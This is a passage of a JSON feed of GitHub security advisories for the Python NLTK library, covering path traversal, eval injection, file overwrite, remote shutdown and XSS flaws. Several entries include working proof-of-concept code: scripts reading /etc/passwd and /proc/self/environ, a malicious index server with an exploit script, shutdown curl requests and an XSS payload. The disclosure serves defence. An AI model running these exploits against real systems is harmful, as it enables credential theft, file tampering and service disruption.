`ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning.\n- **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name.\n- **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-31T16:50:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw","https://github.com/advisories/GHSA-xh95-f55m-82fw"],"source_kind":"github","identifiers":["GHSA-xh95-f55m-82fw","CVE-2026-12074"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-31T17:00:09.052Z","updated_at":"2026-08-14T23:00:26.860Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aDk1LWY1NW0tODJmd84ABg-B/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","url":"https://github.com/advisories/GHSA-848c-c2cx-j7qx","title":"NLTK vulnerable to Eval Injection via collocations CLI arguments","description":"NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the __main__ block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-25T00:31:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-71408","https://github.com/nltk/nltk/pull/3465","https://github.com/nltk/nltk/commit/66f14096d952ec8f04934f515e027534bd4eb0ac","https://aydinnyunus.github.io/2026/06/07/command-injection-nltk-collocations-eval","https://github.com/nltk/nltk/releases/tag/3.9.3","https://www.vulncheck.com/advisories/nltk-eval-injection-via-collocations-py-command-line-arguments","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3657.yaml","https://github.com/advisories/GHSA-848c-c2cx-j7qx"],"source_kind":"github","identifiers":["GHSA-848c-c2cx-j7qx","CVE-2025-71408"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-12T20:00:08.095Z","updated_at":"2026-08-14T23:00:09.987Z","epss_percentage":0.00184,"epss_percentile":0.08168,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDhjLWMyY3gtajdxeM4ABftt/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","url":"https://github.com/advisories/GHSA-q5h6-fcf5-49g9","title":"Duplicate Advisory: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-m42h-3232-vpv3. This link is maintained to preserve external references.\n\n## Original Description\nNLTK version 3.9.4 is vulnerable to a path traversal attack due to an incomplete fix for GitHub Issue #3504. The `_UNSAFE_NO_PROTOCOL_RE` regex in `nltk/data.py` checks for literal `../` sequences but fails to account for percent-encoded traversal sequences such as `..%2f`. The `url2pathname()` function decodes these sequences after the validation step, allowing an attacker to bypass the protection. This vulnerability enables an attacker to read arbitrary files accessible to the Python process by controlling the resource name parameter passed to `nltk.data.load()` or `nltk.data.find()`. The issue affects applications that rely on NLTK for resource loading, including NLP web applications, Jupyter notebooks, and CLI tools. The default `pathsec.ENFORCE=False` setting exacerbates the impact by not blocking the file read at the `open()` stage.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-30T03:37:14.000Z","withdrawn_at":"2026-08-13T20:44:55.000Z","classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-12243","https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml","https://github.com/advisories/GHSA-q5h6-fcf5-49g9"],"source_kind":"github","identifiers":["GHSA-q5h6-fcf5-49g9"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-13T21:00:08.851Z","updated_at":"2026-08-14T23:00:09.968Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c 3.10.0"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNWg2LWZjZjUtNDlnOc4ABZwk/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","url":"https://github.com/advisories/GHSA-p4gq-832x-fm9v","title":"Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File Read","description":"### Summary\nnltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem.\nWhile literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path.\n### Affected Component\nnltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check.\nRelevant occurrences:\n\ndata.py L650–L653 — final path constructed from url2pathname(resource_name) after checks\ndata.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string\ndata.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check\ndata.py L615–L618 — defense-in-depth traversal check also operates on undecoded input\n\nRoot Cause\nThe regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path.\n### Proof of Concept\n```\n\"\"\"\nNLTK Arbitrary File Read via URL-Encoded Path Traversal\n=======================================================\nBypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py\nby URL-encoding path separators and traversal components.\n\nAffected: NLTK \u003c= 3.9.4 (default ENFORCE=False configuration)\nCWE: CWE-22 (Path Traversal)\n\nRoot Cause:\n  nltk/data.py:find() checks resource names against a regex for\n  traversal patterns (../, leading /, etc.) BEFORE calling\n  url2pathname() which decodes %xx sequences. This is a classic\n  \"decode-after-check\" vulnerability.\n\"\"\"\n\nimport sys\nimport os\nimport warnings\n\n# Suppress NLTK security warnings for clean PoC output\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\n\n# Setup\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), \"nltk\"))\nos.makedirs(os.path.expanduser(\"~/nltk_data/corpora\"), exist_ok=True)\n\nimport nltk\nfrom nltk.pathsec import ENFORCE\n\nBANNER = \"\"\"\n===================================================\n NLTK URL-Encoded Path Traversal PoC\n Affected: nltk \u003c= 3.9.4\n Default ENFORCE={enforce}\n===================================================\n\"\"\".format(enforce=ENFORCE)\n\ndef test_variant(name, payload, fmt=\"raw\"):\n    \"\"\"Test a single traversal variant.\"\"\"\n    try:\n        content = nltk.data.load(payload, format=fmt)\n        if isinstance(content, bytes):\n            preview = content[:200].decode(\"utf-8\", errors=\"replace\")\n        else:\n            preview = content[:200]\n        first_line = preview.split(\"\\n\")[0]\n        print(f\"  [VULN] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Read OK: {first_line}\")\n        return True\n    except Exception as e:\n        print(f\"  [SAFE] {name}\")\n        print(f\"         Payload: {payload}\")\n        print(f\"         Blocked: {type(e).__name__}: {e}\")\n        return False\n\n\ndef main():\n    print(BANNER)\n    vulns = 0\n\n    # --- Variant 1: URL-encoded absolute path ---\n    print(\"[1] URL-encoded absolute path (%2f = /)\")\n    if test_variant(\n        \"Encoded leading slash bypasses ^/ regex check\",\n        \"nltk:%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 2: Encoded dot-dot traversal ---\n    print(\"[2] URL-encoded dot-dot traversal (%2e = .)\")\n    if test_variant(\n        \"Encoded dots bypass \\\\.\\\\./ regex check\",\n        \"nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 3: Literal dots with encoded slash ---\n    print(\"[3] Literal dots with encoded slash (..%2f)\")\n    if test_variant(\n        \"Encoded slash after literal .. bypasses \\\\.\\\\./ regex\",\n        \"nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd\",\n    ):\n        vulns += 1\n\n    print()\n\n    # --- Variant 4: Read process environment (credential leak) ---\n    print(\"[4] Read /proc/self/environ (credential leakage)\")\n    try:\n        content = nltk.data.load(\"nltk:%2fproc%2fself%2fenviron\", format=\"raw\")\n        env_vars = content.decode(\"utf-8\", errors=\"replace\").split(\"\\x00\")\n        print(f\"  [VULN] Leaked {len(env_vars)} environment variables\")\n        for var in env_vars[:3]:\n            if var:\n                key = var.split(\"=\")[0] if \"=\" in var else var\n                print(f\"         {key}=...\")\n        vulns += 1\n    except Exception as e:\n        print(f\"  [SAFE] Blocked: {e}\")\n\n    print()\n\n    # --- Control: verify normal traversal IS blocked ---\n    print(\"[CONTROL] Verify literal ../ is blocked by regex\")\n    test_variant(\"Direct traversal (should be blocked)\", \"nltk:../../../etc/passwd\")\n\n    print()\n    print(\"=\" * 51)\n    print(f\" Result: {vulns} bypass variant(s) succeeded\")\n    if vulns \u003e 0:\n        print(\" Status: VULNERABLE (url2pathname decodes after regex check)\")\n    else:\n        print(\" Status: Not vulnerable\")\n    print(\"=\" * 51)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n### Impact\nArbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:\n\n/etc/passwd, /etc/shadow (if readable)\n/proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets\nApplication source code and configuration files\nCloud metadata, deployment secrets, SSH keys\n\nThis is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.\n\n### fix\nhttps://github.com/nltk/nltk/pull/3575","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T14:34:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-p4gq-832x-fm9v","https://nvd.nist.gov/vuln/detail/CVE-2026-54293","https://github.com/nltk/nltk/pull/3575","https://access.redhat.com/security/cve/CVE-2026-54293","https://bugzilla.redhat.com/show_bug.cgi?id=2491486","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-2078.yaml","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54293.json","https://access.redhat.com/errata/RHSA-2026:42644","https://github.com/advisories/GHSA-p4gq-832x-fm9v"],"source_kind":"github","identifiers":["GHSA-p4gq-832x-fm9v","CVE-2026-54293"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T15:00:10.007Z","updated_at":"2026-08-15T18:01:08.112Z","epss_percentage":0.00555,"epss_percentile":0.43553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wNGdxLTgzMngtZm05ds4ABYzE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","url":"https://github.com/advisories/GHSA-469j-vmhf-r6v7","title":"NLTK has a Downloader Path Traversal Vulnerability (AFO) - Arbitrary File Overwrite","description":"## Vulnerability Description\n\nThe NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to:\n\n1. **Arbitrary Directory Creation**: Create directories at arbitrary locations in the file system\n2. **Arbitrary File Creation**: Create arbitrary files\n3. **Arbitrary File Overwrite**: Overwrite critical system files (such as `/etc/passwd`, `~/.ssh/authorized_keys`, etc.)\n\n## Vulnerability Principle\n\n### Key Code Locations\n\n**1. XML Parsing Without Validation** (`nltk/downloader.py:253`)\n```python\nself.filename = os.path.join(subdir, id + ext)\n```\n- `subdir` and `id` are directly from XML attributes without any validation\n\n**2. Path Construction Without Checks** (`nltk/downloader.py:679`)\n```python\nfilepath = os.path.join(download_dir, info.filename)\n```\n- Directly uses `filename` which may contain path traversal\n\n**3. Unrestricted Directory Creation** (`nltk/downloader.py:687`)\n```python\nos.makedirs(os.path.join(download_dir, info.subdir), exist_ok=True)\n```\n- Can create arbitrary directories outside the download directory\n\n**4. File Writing Without Protection** (`nltk/downloader.py:695`)\n```python\nwith open(filepath, \"wb\") as outfile:\n```\n- Can write to arbitrary locations in the file system\n\n### Attack Chain\n\n```\n1. Attacker controls remote XML index server\n   ↓\n2. Provides malicious XML: \u003cpackage id=\"passwd\" subdir=\"../../etc\" .../\u003e\n   ↓\n3. Victim executes: downloader.download('passwd')\n   ↓\n4. Package.fromxml() creates object, filename = \"../../etc/passwd.zip\"\n   ↓\n5. _download_package() constructs path: download_dir + \"../../etc/passwd.zip\"\n   ↓\n6. os.makedirs() creates directory: download_dir + \"../../etc\"\n   ↓\n7. open(filepath, \"wb\") writes file to /etc/passwd.zip\n   ↓\n8. System file is overwritten!\n```\n\n## Impact Scope\n1. **System File Overwrite**\n\n## Reproduction Steps\n\n### Environment Setup\n\n1. Install NLTK\n```bash\npip install nltk\n```\n\n2. Prepare malicious server and exploit script (see PoC section)\n\n### Reproduction Process\n\n**Step 1: Start malicious server**\n```bash\npython3 malicious_server.py\n```\n\n**Step 2: Run exploit script**\n```bash\npython3 exploit_vulnerability.py\n```\n\n**Step 3: Verify results**\n```bash\nls -la /tmp/test_file.zip\n```\n\n## Proof of Concept\n\n### Malicious Server (malicious_server.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP Server - Provides XML index with path traversal\"\"\"\nimport os\nimport tempfile\nimport zipfile\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\n# Create temporary directory\nserver_dir = tempfile.mkdtemp(prefix=\"nltk_malicious_\")\n\n# Create malicious XML (contains path traversal)\nmalicious_xml = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cnltk_data\u003e\n  \u003cpackages\u003e\n    \u003cpackage id=\"test_file\" subdir=\"../../../../../../../../../tmp\" \n             url=\"http://127.0.0.1:8888/test.zip\" \n             size=\"100\" unzipped_size=\"100\" unzip=\"0\"/\u003e\n  \u003c/packages\u003e\n\u003c/nltk_data\u003e\n\"\"\"\n\n# Save files\nwith open(os.path.join(server_dir, \"malicious_index.xml\"), \"w\") as f:\n    f.write(malicious_xml)\n\nwith zipfile.ZipFile(os.path.join(server_dir, \"test.zip\"), \"w\") as zf:\n    zf.writestr(\"test.txt\", \"Path traversal attack!\")\n\n# HTTP Handler\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/malicious_index.xml':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/xml')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'malicious_index.xml'), 'rb') as f:\n                self.wfile.write(f.read())\n        elif self.path == '/test.zip':\n            self.send_response(200)\n            self.send_header('Content-type', 'application/zip')\n            self.end_headers()\n            with open(os.path.join(server_dir, 'test.zip'), 'rb') as f:\n                self.wfile.write(f.read())\n        else:\n            self.send_response(404)\n            self.end_headers()\n    \n    def log_message(self, format, *args):\n        pass\n\n# Start server\nif __name__ == \"__main__\":\n    port = 8888\n    server = HTTPServer((\"0.0.0.0\", port), Handler)\n    print(f\"Malicious server started: http://127.0.0.1:{port}/malicious_index.xml\")\n    print(\"Press Ctrl+C to stop\")\n    try:\n        server.serve_forever()\n    except KeyboardInterrupt:\n        print(\"\\nServer stopped\")\n```\n\n### Exploit Script (exploit_vulnerability.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"AFO Vulnerability Exploit Script\"\"\"\nimport os\nimport tempfile\n\ndef exploit(server_url=\"http://127.0.0.1:8888/malicious_index.xml\"):\n    download_dir = tempfile.mkdtemp(prefix=\"nltk_exploit_\")\n    print(f\"Download directory: {download_dir}\")\n    \n    # Exploit vulnerability\n    from nltk.downloader import Downloader\n    downloader = Downloader(server_index_url=server_url, download_dir=download_dir)\n    downloader.download(\"test_file\", quiet=True)\n    \n    # Check results\n    expected_path = \"/tmp/test_file.zip\"\n    if os.path.exists(expected_path):\n        print(f\"\\n✗ Exploit successful! File written to: {expected_path}\")\n        print(f\"✗ Path traversal attack successful!\")\n    else:\n        print(f\"\\n? File not found, download may have failed\")\n\nif __name__ == \"__main__\":\n    exploit()\n```\n\n### Execution Results\n\n```\n✗ Exploit successful! File written to: /tmp/test_file.zip\n✗ Path traversal attack successful!\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-469j-vmhf-r6v7","https://nvd.nist.gov/vuln/detail/CVE-2026-33236","https://github.com/nltk/nltk/commit/89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a","https://github.com/advisories/GHSA-469j-vmhf-r6v7"],"source_kind":"github","identifiers":["GHSA-469j-vmhf-r6v7","CVE-2026-33236"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-08-15T20:04:53.390Z","epss_percentage":0.00575,"epss_percentile":0.4451,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NjlqLXZtaGYtcjZ2N84ABT2m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","url":"https://github.com/advisories/GHSA-jm6w-m3j8-898g","title":"Unauthenticated remote shutdown in nltk.app.wordnet_app","description":"### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n  - The server listens on all interfaces:\n  - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n  - Incoming requests are checked for the exact path:\n  - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n  - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n  - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n  - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w '%{http_code}\\n' 'http://127.0.0.1:8004/'\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\\t{{.Status}}'\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest    Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-19T12:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g","https://nvd.nist.gov/vuln/detail/CVE-2026-33231","https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b","https://github.com/advisories/GHSA-jm6w-m3j8-898g"],"source_kind":"github","identifiers":["GHSA-jm6w-m3j8-898g","CVE-2026-33231"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-19T13:00:11.279Z","updated_at":"2026-08-15T18:03:43.247Z","epss_percentage":0.00875,"epss_percentile":0.55504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.4","vulnerable_version_range":"\u003c= 3.9.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTZ3LW0zajgtODk4Z84ABT2l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZnd4LXc3Z3ItZnZoN84ABT1a","url":"https://github.com/advisories/GHSA-gfwx-w7gr-fvh7","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in nltk","description":"### Summary\n`nltk.app.wordnet_app` contains a reflected cross-site scripting issue in the `lookup_...` route. A crafted `lookup_\u003cpayload\u003e` URL can inject arbitrary HTML/JavaScript into the response page because attacker-controlled `word` data is reflected into HTML without escaping. This impacts users running the local WordNet Browser server and can lead to script execution in the browser origin of that application.\n\n### Details\nThe vulnerable flow is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:144`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L144)\n  - Requests starting with `lookup_` are handled as HTML responses:\n  - `page, word = page_from_href(sp)`\n\n- [`nltk/app/wordnet_app.py:755`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L755)\n  - `page_from_href()` calls `page_from_reference(Reference.decode(href))`\n\n- [`nltk/app/wordnet_app.py:769`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L769)\n  - `word = href.word`\n\n- [`nltk/app/wordnet_app.py:796`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L796)\n  - If no results are found, `word` is inserted directly into the HTML body:\n  - `body = \"The word or words '%s' were not found in the dictionary.\" % word`\n\nThis is inconsistent with the `search` route, which does escape user input:\n\n- [`nltk/app/wordnet_app.py:136`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L136)\n  - `word = html.escape(...)`\n\nAs a result, a malicious `lookup_...` payload can inject script into the response page.\n\nThe issue is exploitable because:\n\n- `Reference.decode()` accepts attacker-controlled base64-encoded pickle data for the URL state.\n- The decoded `word` is reflected into HTML without `html.escape()`.\n- The server is started with `HTTPServer((\"\", port), MyServerHandler)`, so it listens on all interfaces by default, not just `localhost`.\n\n### PoC\n1. Start the WordNet Browser in an isolated Docker environment:\n\n```bash\ndocker run -d --name nltk-wordnet-web -p 8002:8002 \\\n  nltk-sandbox \\\n  python -c \"import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnet_app import wnb; wnb(8002, False)\"\n```\n\n2. Use the following crafted payload, which decodes to:\n\n```python\n(\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {})\n```\n\nEncoded payload:\n\n```text\ngAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\n```\n\n3. Request the vulnerable route:\n\n```bash\ncurl -s \"http://127.0.0.1:8002/lookup_gAWVIQAAAAAAAACMGTxzY3JpcHQ-YWxlcnQoMSk8L3NjcmlwdD6UfZSGlC4=\"\n```\n\n4. Observed result:\n\n```text\nThe word or words '\u003cscript\u003ealert(1)\u003c/script\u003e' were not found in the dictionary.\n```\n\u003cimg width=\"867\" height=\"208\" alt=\"127\" src=\"https://github.com/user-attachments/assets/ec09da08-09bc-4fc4-bfc1-c4489e9adaf6\" /\u003e\n\n\nI also validated the issue directly at function level in Docker:\n\n```python\nimport base64\nimport pickle\n\nfrom nltk.app.wordnet_app import page_from_href\n\npayload = base64.urlsafe_b64encode(\n    pickle.dumps((\"\u003cscript\u003ealert(1)\u003c/script\u003e\", {}), -1)\n).decode()\n\npage, word = page_from_href(payload)\nprint(word)\nprint(\"\u003cscript\u003ealert(1)\u003c/script\u003e\" in page)\n```\n\nObserved output:\n\n```text\nWORD= \u003cscript\u003ealert(1)\u003c/script\u003e\nHAS_SCRIPT= True\n```\n\n### Impact\nThis is a reflected XSS issue in the NLTK WordNet Browser web UI.\n\nAn attacker who can convince a user to open a crafted `lookup_...` URL can execute arbitrary JavaScript in the origin of the local WordNet Browser application. This can be used to:\n\n- run arbitrary script in the browser tab\n- manipulate the page content shown to the user\n- issue same-origin requests to other WordNet Browser routes\n- potentially trigger available UI actions in that local app context\n\nThis primarily impacts users who run `nltk.app.wordnet_app` as a local or self-hosted HTTP service and open attacker-controlled 